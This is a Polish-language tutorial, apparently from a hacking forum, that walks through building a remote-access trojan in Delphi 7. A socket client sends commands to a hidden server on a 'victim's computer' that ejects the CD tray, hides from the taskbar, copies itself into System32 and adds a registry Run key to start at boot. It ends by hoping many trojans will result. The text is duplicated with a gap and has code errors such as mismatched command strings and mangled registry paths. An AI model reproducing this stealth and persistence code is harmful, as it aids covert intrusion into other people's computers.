Kurs napisany na delphi 7
-->Zaczynam (Klient)
Zaczynamy od Klienta. Uruchamiamy Delphi
i wybieramy z menu File->New->Application. Teraz nazwiemy sobie aplikacje klikasz na forme (LPM- tylko raz) teraz w Object Inspector (po lewej stronie) Properites->Caption: np:klient (nazwa moze byc dowolna). Teraz wrzucamy na forme komponent internet->clientsocket. Serversocket bedzie nam potrzebny do server. Ustwiamy port do wybory (polecam wyskoki) klikamy raz na komponet, ktory jest na formie object Inspector i port wpisujemy port jak ma miec nasz trojan. Teraz wrzucamy na forme komponet edit Standart->Edit bedzie to nam potrzebne do wpisywania ip servera, Jeszcze wrzuc dawa buttony nazwij je sobie
np: Polacz i Rozlacz. Klikamy dwa razy na button Polacz i wpisujemy:
clientsocket1.Address:=edit1.text; // adres ip servera do ktorego bedziemy sie laczyc
clientsocket1.active:=true; // To nam bedzie potrzebne do laczenia z serverem
Pod buttonem Rozlacz wpisujemy:
clientsocket1.active:=false; // client ma sie rozlaczyc
Teraz przydalo by sie zrobic buttony pod ktorymi beda znajdowac sie funkcje np: Open Cd-Rom, Close Cd-Rom
clientsocket1.socket.SendText('cdopen'); // 'cdopen' jest to zmienna ktora klient wysyla do server
Pod buttonem CD Close wpisujemy:
clientsocket1.socket.SendText('cdclose');
Zebysmy wiedzieli czy klient jest podlaczony czy odlaczony. Klikamy na clientsocket w Object Inspector zakladka Events i klikasz dwa razy na pole: OnConnect teraz piszemy co ma klient zrobic jezeli jest podlaczony:
ShowMessage('Klient Polaczony z Serverem ') // Wyskoczy nam okienko powiadomieniem
i tak mozesz zrobic jeszcze z Onconnecting, Ondisconnect, Onerror.
Dobra klienta mamy zrobionego teraz przechodzimy do servera
--->Server
Tworzymy nowa aplikacje. Wstawiamy komponent serversocket, ustawiamy w nim port taki jaki wpisalismy do klienta teraz zeby server byl aktywny zaraz po wlaczeniu kompa active:true. Przechodzimy do zakladki Events klikami dwa razy na OnClientRead (tu beda zmienne cdopen i cdclose) i wstawiamy cos tak:
Przed begin wstawiamy
var - to piszesz
s:string; - to piszesz
begin
// pod Regin wstawiamy:
s:=serversocket1.Socket.Connections[0].ReceiveText;
if (s='cdopen') then // jezeli przyjdzie zmienna 'cdopen' to wtedy:
begin
mciSendString('Set cdaudio door open wait',nil,0,handle); // funkcja Ktora otwiera Cd-Rom.
end;
if (s='close') then // jezeli przyjdzie zmienna 'cdclose' to wtedy:
begin //
mciSendString('Set cdaudio door closed wait',nil,0,handle); // funkcja Ktora zamyka Cd-Rom.
end;
Teraz klikamy w puste pole Forma ( projektu ) i u gory jest cos takiego:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ScktComp, shellapi, mmsystem, registry; // musimy dodac shellapi, mmsystem i registry
Teraz zrobimy zeby server ukryl sie na komputerze ofiary. Klikamy na forme, i naciskamy CTRL+F12 Pojawi sie okienko: view unit, zaznaczamy project i ok. W kodzie
zrodlowym znajdziesz takie linijki:
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
application.showmainform:=false;// tak jak widac
end.
i przed Appication.Run; wpisujemy
application.showmainform:=false; // server zostanie bedzie nie widoczny na pasku zadan tylko pod klawiszami ALT+CTRL+DEL
Teraz jeszcze zostalo zeby server uruchomil sie przy karzdym starcje windowsa. Do uses dodajemy: registry teraz klikamy na forme Object Inspector->EVENTS->OnCreate ( klikasz dwa razy w puste pole )
var
reg:tregistry;
begin
Reg:=TRegistry.Create;
try
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun',True);
reg.WriteString('SERVER','C:WINDOWSSystem32server.exe');
copyfile(pchar(paramstr(0)),pchar('C:WINDOWSSystem32server.exe'),true);
BorderIcons:= [biSystemMenu];
finally
end;
end;
I to chyba wszystko mam na dzieje ze po tym arcie powstanie duzo trojankow
B&S Group
Power By Slayd
EDIT 1 : NiuNio przeprasza za blad ;]
-->Zaczynam (Klient)
Zaczynamy od Klienta. Uruchamiamy Delphi
np: Polacz i Rozlacz. Klikamy dwa razy na button Polacz i wpisujemy:
clientsocket1.Address:=edit1.text; // adres ip servera do ktorego bedziemy sie laczyc
clientsocket1.active:=true; // To nam bedzie potrzebne do laczenia z serverem
Pod buttonem Rozlacz wpisujemy:
clientsocket1.active:=false; // client ma sie rozlaczyc
Teraz przydalo by sie zrobic buttony pod ktorymi beda znajdowac sie funkcje np: Open Cd-Rom, Close Cd-Rom
clientsocket1.socket.SendText('cdopen'); // 'cdopen' jest to zmienna ktora klient wysyla do server
Pod buttonem CD Close wpisujemy:
clientsocket1.socket.SendText('cdclose');
Zebysmy wiedzieli czy klient jest podlaczony czy odlaczony. Klikamy na clientsocket w Object Inspector zakladka Events i klikasz dwa razy na pole: OnConnect teraz piszemy co ma klient zrobic jezeli jest podlaczony:
ShowMessage('Klient Polaczony z Serverem ') // Wyskoczy nam okienko powiadomieniem
i tak mozesz zrobic jeszcze z Onconnecting, Ondisconnect, Onerror.
Dobra klienta mamy zrobionego teraz przechodzimy do servera
--->Server
Tworzymy nowa aplikacje. Wstawiamy komponent serversocket, ustawiamy w nim port taki jaki wpisalismy do klienta teraz zeby server byl aktywny zaraz po wlaczeniu kompa active:true. Przechodzimy do zakladki Events klikami dwa razy na OnClientRead (tu beda zmienne cdopen i cdclose) i wstawiamy cos tak:
Przed begin wstawiamy
var - to piszesz
s:string; - to piszesz
begin
// pod Regin wstawiamy:
s:=serversocket1.Socket.Connections[0].ReceiveText;
if (s='cdopen') then // jezeli przyjdzie zmienna 'cdopen' to wtedy:
begin
mciSendString('Set cdaudio door open wait',nil,0,handle); // funkcja Ktora otwiera Cd-Rom.
end;
if (s='close') then // jezeli przyjdzie zmienna 'cdclose' to wtedy:
begin //
mciSendString('Set cdaudio door closed wait',nil,0,handle); // funkcja Ktora zamyka Cd-Rom.
end;
Teraz klikamy w puste pole Forma ( projektu ) i u gory jest cos takiego:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ScktComp, shellapi, mmsystem, registry; // musimy dodac shellapi, mmsystem i registry
Teraz zrobimy zeby server ukryl sie na komputerze ofiary. Klikamy na forme, i naciskamy CTRL+F12 Pojawi sie okienko: view unit, zaznaczamy project i ok. W kodzie
zrodlowym znajdziesz takie linijki:
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
application.showmainform:=false;// tak jak widac
end.
i przed Appication.Run; wpisujemy
application.showmainform:=false; // server zostanie bedzie nie widoczny na pasku zadan tylko pod klawiszami ALT+CTRL+DEL
Teraz jeszcze zostalo zeby server uruchomil sie przy karzdym starcje windowsa. Do uses dodajemy: registry teraz klikamy na forme Object Inspector->EVENTS->OnCreate ( klikasz dwa razy w puste pole )
var
reg:tregistry;
begin
Reg:=TRegistry.Create;
try
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun',True);
reg.WriteString('SERVER','C:WINDOWSSystem32server.exe');
copyfile(pchar(paramstr(0)),pchar('C:WINDOWSSystem32server.exe'),true);
BorderIcons:= [biSystemMenu];
finally
end;
end;
I to chyba wszystko mam na dzieje ze po tym arcie powstanie duzo trojankow
B&S Group
Power By Slayd
EDIT 1 : NiuNio przeprasza za blad ;]